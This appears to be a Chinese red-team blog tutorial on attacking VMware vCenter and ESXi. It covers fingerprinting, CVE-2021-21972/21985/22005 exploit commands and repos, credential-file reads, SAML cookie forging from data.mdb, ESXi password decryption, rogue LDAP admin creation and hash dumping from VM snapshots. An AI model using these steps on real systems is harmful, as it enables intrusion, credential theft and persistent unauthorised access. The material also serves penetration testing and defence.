vCenter常用攻击手法

发布于 2022-11-13  4467 次阅读



vCenter常用攻击手法

特征

端口特征

主机开放端口(仅参考):
ESXI 6.7:
80,427,443,902,8000,8300,9080

ESXI 7.0:
80,427,443,902,8000,8300,9080

vCenter 6.7:
22,80,88,389,443,514,636,1514,2012,2014,2020,5480,5580,8084,9084,9087

vCenter 7.0:
80,88,135,137,139,389,443,445,514,636,1514,2012,2014,2015,2020,5443,5985,7080,7444,8109,8900,9443,12080,13080,47001,49664,49665,49666,49667,49668,49672,55156

 

指纹特征

ESXI 6.7:

image-20221201005029322

ESXI 7.0:

image-20221201011148775

vCenter 6.7:

image-20221201105734518

vCenter 7.0:

image-20221201110348025

 

综上,总体特征端口为:

  • ESXI:
端口 端口类型 banner 特征
80 HTTP http  
443 HTTPS https Cert: vmca@vmware.com,192.168.65.153,VMware Engineering,VMware,Palo Alto,California,US;
902   220 VMware Authentication Daemon Version 1.10: SSL Required, ServerDaemonProtocol:SOAP, MKSDisplayProtocol:VNC , VMXARGS supported, NFCSSL supported/t  
8000 Ajenti    
9080 WebSphere    
  • vCenter:
端口 端口类型 banner 特征 标题
80 HTTP http   " + ID_VC_Welcome + "
88 default WEB      
443 HTTPS https Cert: US,192.168.65.160; " + ID_VC_Welcome + "
514 Linux rexec      
5443   https Cert: US,192.168.65.160; Server: Anonymous; HTTP Status 404 – Not Found
8084 default WEB https Cert: US,192.168.65.157; Server: envoy;  
9443   https Cert: US,192.168.65.160; vSphere Web Client

 

其他特征

查看vCenter版本:

/sdk/vimServiceVersions.xml

image-20221129172011161

 

常见漏洞

CVE-2021-21972

漏洞类型:任意文件上传 - 部分版本可致RCE

影响版本:

  • VMware vCenter Server 7.0系列 < 7.0.U1c
  • VMware vCenter Server 6.7系列 < 6.7.U3l
  • VMware vCenter Server 6.5系列 < 6.5 U3n
  • VMware ESXi 7.0系列 < ESXi70U1c-17325551
  • VMware ESXi 6.7系列 < ESXi670-202102401-SG
  • VMware ESXi 6.5系列 < ESXi650-202102101-SG

EXP:

https://github.com/NS-Sp4ce/CVE-2021-21972
https://github.com/horizon3ai/CVE-2021-21972

python3 CVE-2021-21972.py -url https://192.168.65.154

image-20221128115420602

漏洞利用:

vCenter的/ui/vropspluginui/rest/services/uploadova接口在未进行权限限制的情况下可以实现任意文件上传。

对于6.7U2以前的版本可以利用该接口上传tar包来获得目标机器权限。
对于6.7U2及其以后的版本VCenter服务运行在内存中,即使上传了webshell,也无法立即访问,除非目标服务重启。

对于>=6.7U2版本的Linux系统来说,可以通过写入SSH公钥文件来获得权限。
对于>=6.7U2版本的Windows系统来说并没有能够获取权限的方法。

漏洞修复:

https://kb.vmware.com/s/article/82374

 

CVE-2021-21985

漏洞类型:远程代码执行

影响版本:

  • VMware vCenter Server 7.0系列 非7.0 U2b
  • VMware vCenter Server 6.7系列 非6.7 U3n
  • VMware vCenter Server 6.5系列 非6.5 U3p
  • VMware Cloud Foundation < 4.2.1
  • VMware Cloud Foundation < 3.10.2.1

POC:

https://github.com/xnianq/cve-2021-21985_exp
https://github.com/Schira4396/VcenterKiller

Railgun工具

image-20221129154738438

漏洞利用:

该漏洞由于vCenter Server默认启用的插件Virtual SAN Health Check缺少输入验证导致的。能通过443端口访问到vSphere Client(HTML5)的攻击者,可以构造特殊的请求包在目标机器上执行任意代码。

具体利用可参考https://iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/

漏洞修复:

VMware:vCenter Server
7.0版本升级到7.0 U2b
6.7版本升级到6.7 U3n
6.5版本升级到6.5 U3p

VMware:Cloud Foundation
4.x版本升级到4.2.1
3.x版本升级到3.10.2.1

 

CVE-2021-22005

漏洞类型:任意文件读取 - 可致RCE

影响版本:

  • vCenter Server 7.0 < 7.0 U2c build-18356314
  • vCenter Server 6.7 < 6.7 U3o build-18485166
  • Cloud Foundation (vCenter Server) 4.x < KB85718 (4.3)
  • Cloud Foundation (vCenter Server) 3.x < KB85719 (3.10.2.2)
  • 6.7 vCenter Windows版本不受影响

POC:

https://github.com/shmilylty/cve-2021-22005-exp
https://github.com/Jun-5heng/CVE-2021-22005

exp.exe -t https://192.168.65.154 -s cmd.jsp

image-20221129154447328

image-20221129154539698

漏洞利用:

上传并连接webshell

漏洞修复:

官方已修复该漏洞,请受影响的用户及时安装安全补丁或升级至最新安全版本,也可按照 https://kb.vmware.com/s/article/85717 相关措施进行缓解。

 

任意文件读取

漏洞类型:任意文件读取

影响版本:

  • vCenter Server 6.5.0a至f版本(之前版本也可能受影响)

POC:

/eam/vib?id=文件路径

漏洞利用:

获取vcenter默认数据库文件
# Linux默认路径
cat /etc/vmware-vpx/vcdb.properties
cat /etc/vmware/service-state/vpxd/vcdb.properties

# windows默认路径
C:\ProgramData\VMware\"VMware VirtualCenter"\vcdb.properties
C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties
获取cookie存储文件
# Linux默认路径
/storage/db/vmware-vmdir/data.mdb

# windows默认路径
C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb

漏洞修复:

Vmware 确认该漏洞已在 6.5u1 版本中修复,请尽快升级至安全版本或更高版本。

 

其他攻击手法

解密data.mdb获取cookie

前提:获取vCenter主机权限

获取cookie存储文件:

#Linux
/storage/db/vmware-vmdir/data.mdb

#windows
C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb

image-20221130131100765

image-20221130130715864

  • 利用方式1:

将文件下载到本地破解:

(1)破解脚本:https://github.com/horizon3ai/vcenter_saml_login

(2)windows运行脚本时需要手动安装python-ldap:

  1. 下载链接:https://www.lfd.uci.edu/~gohlke/pythonlibs/#python-ldap1
  2. 找到本地python对应版本的ldap包并下载
  3. 运行pip安装命令:
pip install python_ldap-3.4.0-cp310-cp310-win_amd64.whl
pip install -r requirements.txt

(3)运行脚本进行破解:

python vcenter_saml_login.py -p data.mdb -t vCenter_ip

image-20221130132359387

(4)使用cookie进行登录

  • 利用方式2:

上传脚本到目标服务器破解

(1)破解脚本:https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_ExtraCertFromMdb.py

(2)上传脚本到vCenter主机,运行脚本

python vCenter_ExtraCertFromMdb.py /storage/db/vmware-vmdir/data.mdb

image-20221130134234573

image-20221130134310164

(3)执行后得到以下四个重要的参数:

domain,在命令行显示
idp_cert,保存为idp_cert.txt
trusted_cert_1,保存为trusted_cert_1.txt
trusted_cert_2,保存为trusted_cert_2.txt

(4)在本地主机上为管理员用户创建SAML请求,使用vCenter server进行身份验证并获得有效的管理员cookie

脚本地址:https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_GenerateLoginCookie.py

(5)运行脚本获取Cookie:

python vCenter_GenerateLoginCookie.py 192.168.65.157 192.168.65.157 vsphere.local idp_cert.txt trusted_cert_1.txt trusted_cert_2.txt

image-20221130135515534

 

数据库查询ESXI的密码

前提:获取数据库账号密码,能够连接数据库

(1)查看域

Windows:

C:\Program Files\VMware\vCenter Server\vmafdd\vmafd-cli.exe get-domain-name --server-name localhost

image-20221130140212469

image-20221130140307769

Linux:

/usr/lib/vmware-vmafd/bin/vmafd-cli get-domain-name --server-name localhost

image-20221130140540353

(2)获取解密key,后面用来破解密码

#Windows
type C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat

#Linux
cat /etc/vmware-vpx/ssl/symkey.dat

image-20221130140644335

image-20221130140716137

将文件内容保存到本地文件中:symkey.dat

(3)获取数据库账号密码

通过查看数据库配置文件vcdb.properties获取数据库明文密码

#Linux
cat /etc/vmware-vpx/vcdb.properties
cat /etc/vmware/service-state/vpxd/vcdb.properties

#Windows
type C:\ProgramData\VMware\"VMware VirtualCenter"\vcdb.properties
type C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties

image-20221130141300024

image-20221130141242143

(4)连接数据库,获取密码的密文

psql客户端连接工具默认位置:

Windows: C:\Program Files\VMware\vCenter Server\vPostgres\bin\psql.exe
Linux: /opt/vmware/vpostgres/9.3/bin/psql

执行sql语句查询密码

psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc
注:MSSQL数据库密码保存在 VPX_HOST 表中

image-20221130143752719

将password字段内容保存到本地文件中:password.enc

(5)通过脚本解密获取明文密码

脚本地址:https://github.com/shmilylty/vhost_password_decrypt

python decrypt.py symkey.dat password.enc password.txt

破解出来的密码保存在password.txt文件中,使用账号vpxuser登录ESXI即可

image-20221130150019018

image-20221130145954581

 

通过LDAP来添加管理员账号

(1)通过以下命令可以查询LDAP配置信息:

/opt/likewise/bin/lwregshell list_values '[HKEY_THIS_MACHINE\services\vmdir]'

(2)通过脚本添加用户并设为管理员

脚本地址:https://github.com/3gstudent/Homework-of-Python/blob/master/vCenterLDAP_Manage.py

adduser.ldif示例(我这里将默认的vsphere.local改为了spherer.local,按目标填写):

dn: CN=aaa,CN=Users,DC=spherer,DC=local
userPrincipalName: aaa@spherer.local
sAMAccountName: aaa
cn: aaa
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
userPassword: P@ssWord123@@

(3)运行脚本添加用户(根据提示输入内容)

python vCenterLDAP_Manage.py adduser

输入用户名:aaa

输入dn:cn=aaa,ou=Domain Controllers,dc=spherer,dc=local

输入userPrincipalName:aaa@spherer.local

image-20221130221901658

(4)运行脚本将用户添加为管理员

输入dn:cn=Administrators,cn=Builtin,dc=spherer,dc=local

image-20221130222020871

(5)使用添加的管理员用户进行登录

输入账号密码aaa/P@ssWord123@@成功登录

image-20221130230434056

 

注:通过提取、修改、应用、修复主机配置可以强制修改ESXI主机密码,详见https://blog.csdn.net/xiao_xx/article/details/120267846

 

其他技巧

1.修改密码策略

image-20221130230014744

2.手动添加用户和组

image-20221130230602858

3.通过修改配置文件强制修改ESXI密码

image-20221130230753095

4.通过vdcadmintool内置工具修改密码

# Linux
/usr/lib/vmware-vmdir/bin/vdcadmintool

# Windows
C:\Program Files\VMware\vCenter Server\vmdird\vdcadmintool.exe

查询域名:

/usr/lib/vmware-vmafd/bin/vmafd-cli get-domain-name --server-name localhost

shell中运行vdcadmintool工具重置密码:

/usr/lib/vmware-vmdir/bin/vdcadmintool

输入选项:3

输入UPN:Administrator@vsphere.local

image-20221201002252413

回车即可重置为随机密码

有时报错 VmDirForceResetPassword failed (9106) 需要先使用su命令以高权限运行再进行vCenter管理员密码重置

image-20221201002914219

5.通过vcenter账号获得vcenter机器权限

  • 进入5480管理端口。
  • 开启ssh和Bash Shell
  • 通过vCenter账号登录ssh,这个账号具有sudo权限。

当5480为开放时,通过443端口使用dcli工具(vcli安装完成后生成的工具)可以进行修改:

  • 进入交互模式
dcli +server 192.168.233.135 +skip-server-verification +interactive 
  • 输入账号密码
  • 设置ssh为ture
com vmware appliance access ssh set --enabled true
  • 开启bash shell(166分钟自动退出)
com vmware appliance access shell set --enabled  true  --timeout 10000

6.通过备份文件获取cookie

通过vCenter的备份包lotus_backup.tar.gz可以获取.mdb文件

 

后利用

 

当我们成功获取vCenter控制台权限后,需要对其管理的主机进行下一步利用,但是目标主机为锁屏状态,我们该如何操作呢?

image-20221204150722542

下载快照读取哈希

前提:拥有vCenter web权限或ESXI主机权限

工具链接:https://www.volatilityfoundation.org/releases

  1. 选中对应目标主机生成快照

image-20221204153414016

  1. 下载对应快照

image-20221204153742224

  1. 使用工具查看profile
volatility_2.6_win64_standalone.exe -f win7-Snapshot1.vmem imageinfo

image-20221204154401995

  1. 读取注册表,读取虚拟地址
volatility_2.6_win64_standalone.exe -f win7-Snapshot1.vmem --profile=Win7SP1x64 hivelist

image-20221204154643941

  1. 获取哈希
volatility_2.6_win64_standalone.exe -f win7-Snapshot1.vmem --profile=Win7SP1x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a006b90010

image-20221204154905512

 

 

克隆虚拟机后使用KonBoot引导

缺点:对域控无效

工具链接:https://pan.baidu.com/s/1NfeX6F7HXBDV4yKc4fz55Q 密码:bmef

  1. 上传kon-boot文件

image-20221204160447572

  1. 克隆虚拟机

image-20221204160619672

  1. 编辑克隆机配置,取消勾选网卡,更改CS介质为刚刚上传的kon-boot文件,勾选打开电源时连接

image-20221204161311799

编辑虚拟机选项,勾选强制BIOS

image-20221204161522776

  1. 开启克隆机,将CD-ROM移到最上,F10退出,然后进入系统

image-20221204161947563

连按五次shift,创建管理员用户,成功登录

image-20221204163213074

  1. 将要使用的文件制作为iso镜像,上传并挂载

制作教程:https://blog.csdn.net/bcbobo21cn/article/details/116347346

image-20221204163529724

  1. 登录系统,使用iso内的工具获取哈希

image-20221204164932844

 

其他方式

  • 通过PE系统进入

同理,可以通过制作PE镜像,通过镜像盘启动的方式绕过登录进入系统,方法类似KonBoot引导

  • 挂载VMDK

我们也可以通过将VMDK文件挂载到已获取权限的主机上的方式获取哈希,记得挂载前先将目标主机克隆,然后在克隆主机上进行操作

image-20221204165747368

挂载成功后下载以下三个文件到本地读取哈希,然后取消挂载即可

C:\Windows\NTDS\NTDS.dit 
C:\Windows\System32\config\SYSTEM 
C:\Windows\System32\config\SAM

 

 

参考:

记一次攻防演练之vcenter后渗透利用

Vcenter实战利用方式总结

vSphere开发指南6——vCenter SAML Certificates

vmware的后渗透利用

在vCenter中通过修改主机配置文件来更改ESXi主机的root密码


人生就像赛跑,不在乎你是否第一个到达终点,而在乎你是否跑完全程。